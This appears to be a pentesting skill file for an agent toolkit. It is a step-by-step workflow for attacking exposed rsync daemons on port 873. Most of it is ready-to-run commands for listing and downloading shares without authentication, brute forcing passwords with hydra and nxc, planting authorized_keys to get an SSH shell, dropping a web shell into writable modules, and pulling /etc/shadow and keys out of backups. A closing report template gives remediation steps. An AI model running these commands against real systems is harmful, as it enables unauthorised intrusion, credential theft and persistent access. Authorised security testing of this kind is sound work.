Imported from Singtreb/Sword-Riding (internal/tools/skills/data/network-services-pentesting/pentesting-rsync/SKILL.md). Install upstream with npx skills add Singtreb/Sword-Riding --skill pentesting-rsync. Copyright stays with the author (Apache-2.0).

Pentesting rsync (port 873)

When to Use

• Default port 873/tcp for the rsync daemon protocol (rsync://); alternate ports such as 8730 are common on NAS devices.
• When nmap/banner shows rsync or a connection returns an @RSYNCD: <version> banner.
• For enumerating exposed "modules" (directory shares), assessing auth requirements, and testing read/write access.

Quick Enumeration

# Banner grab + manual module listing
nc -vn <IP> 873
# Server greets:  @RSYNCD: 31.0   -> echo same line back, then send:  #list
# Server enumerates modules, e.g.:  raidroot  USBCopy  NAS_Public  ... then @RSYNCD: EXIT

# nmap module listing
nmap -sV --script "rsync-list-modules" -p 873 <IP>

# Metasploit module listing
msfconsole -q -x 'use auxiliary/scanner/rsync/modules_list; set RHOSTS <IP>; run; exit'

# Native client listing (also IPv6 / alternate port)
rsync -av --list-only rsync://<IP>
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730

Critical: Checks Most Often Missed

• Unauthenticated module access — many modules require no password and allow full read (and sometimes write). The #1 miss.
  • How to CONFIRM:

    rsync -av --list-only rsync://<IP>/<module>     # lists without prompting = no auth
    rsync -av rsync://<IP>/<module> ./loot          # downloads recursively

• Auth-required modules revealed by the protocol — a module that responds @RSYNCD: AUTHREQD <challenge> confirms a password gate worth brute forcing.
  • How to CONFIRM: manual nc listing shows @RSYNCD: AUTHREQD ... for that module name.
• Writable modules → key planting / file overwrite — write access lets you drop authorized_keys, cron jobs, or web shells.
  • How to CONFIRM:

    rsync -av ~/.ssh/ rsync://<IP>/<module>/<user>/.ssh    # upload authorized_keys

• Hidden modules — some shares are not listed; test guessed names (home, backup, www, etc, share).
• rsyncd.conf / secrets file (post-access) — secrets file points to a user:password file usable for further auth.
  • How to CONFIRM: find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \).

Workflow

Step 1: Enumerate (modules, auth requirement, version)

nc -vn <IP> 873                 # @RSYNCD banner; send back version line then #list
nmap -sV --script rsync-list-modules -p 873 <IP>
rsync -av --list-only rsync://<IP>          # list modules
rsync -av --list-only rsync://<IP>/<module> # probe a module for auth prompt

Step 2: Authenticate (anonymous, default, brute force)

# Anonymous (no creds) listing/copy
rsync -av --list-only rsync://<IP>/<module>

# With credentials (password prompt appears)
rsync -av --list-only rsync://<user>@<IP>/<module>

# Brute force a protected module
hydra -l <user> -P passwords.txt rsync://<IP>
nxc rsync <IP> -u users.txt -p passwords.txt 2>/dev/null   # if supported by your build

Step 3: Exploit / Extract (download, upload, key planting)

# Recursively download a share (preserves attributes/permissions)
rsync -av rsync://<IP>:873/<module> ./rsync_shared
rsync -av rsync://<user>@<IP>:8730/<module> ./rsync_shared

# Upload content (e.g., authorized_keys for SSH access)
rsync -av ~/.ssh/ rsync://<user>@<IP>/<home_module>/.ssh

# Drop a web shell into a writable web module
rsync -av ./shell.php rsync://<IP>/<www_module>/

Step 4: Post-access / pivot

• If you planted authorized_keys, connect: ssh -i ~/.ssh/id_rsa <user>@<IP>.
• Locate config/secrets for additional creds: find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \).
• Mine downloaded backups for credentials, source code, and configuration to pivot to other services.

Key Concepts

Tools & Systems

Common Scenarios

Scenario 1: Anonymous backup module → data exfiltration

rsync -av --list-only rsync://<IP>/backup lists files without a prompt. rsync -av rsync://<IP>/backup ./loot downloads full system backups containing /etc/shadow and SSH keys.

Scenario 2: Writable home module → SSH access

A home_user module is writable. Uploading authorized_keys via rsync -av ~/.ssh/ rsync://user@<IP>/home_user/.ssh then ssh user@<IP> yields an interactive shell.

Scenario 3: NAS on alternate port

A NAS exposes rsync on 8730. rsync -av --list-only rsync://<IP>:8730 reveals NAS_Public with read access to shared documents and stored credentials.

Output Format

## rsync Finding

**Service**: rsync daemon
**Port**: 873/tcp (protocol 31.0)
**Severity**: High
**Finding**: Unauthenticated, writable module exposing the filesystem
**Evidence**:
  - rsync-list-modules: "backup", "home_user", "www"
  - rsync -av --list-only rsync://<IP>/backup listed files with no auth
  - uploaded authorized_keys to rsync://<IP>/home_user/.ssh and obtained SSH access
**Impact**: Unauthenticated attackers can read sensitive backups and write SSH keys/web shells, leading to full host compromise.
**Recommendation**:
  1. Require authentication on every module (`auth users` + `secrets file`).
  2. Set `read only = yes` unless write is strictly needed; scope `path` tightly.
  3. Bind rsyncd to management networks / restrict by `hosts allow`, or tunnel rsync over SSH instead.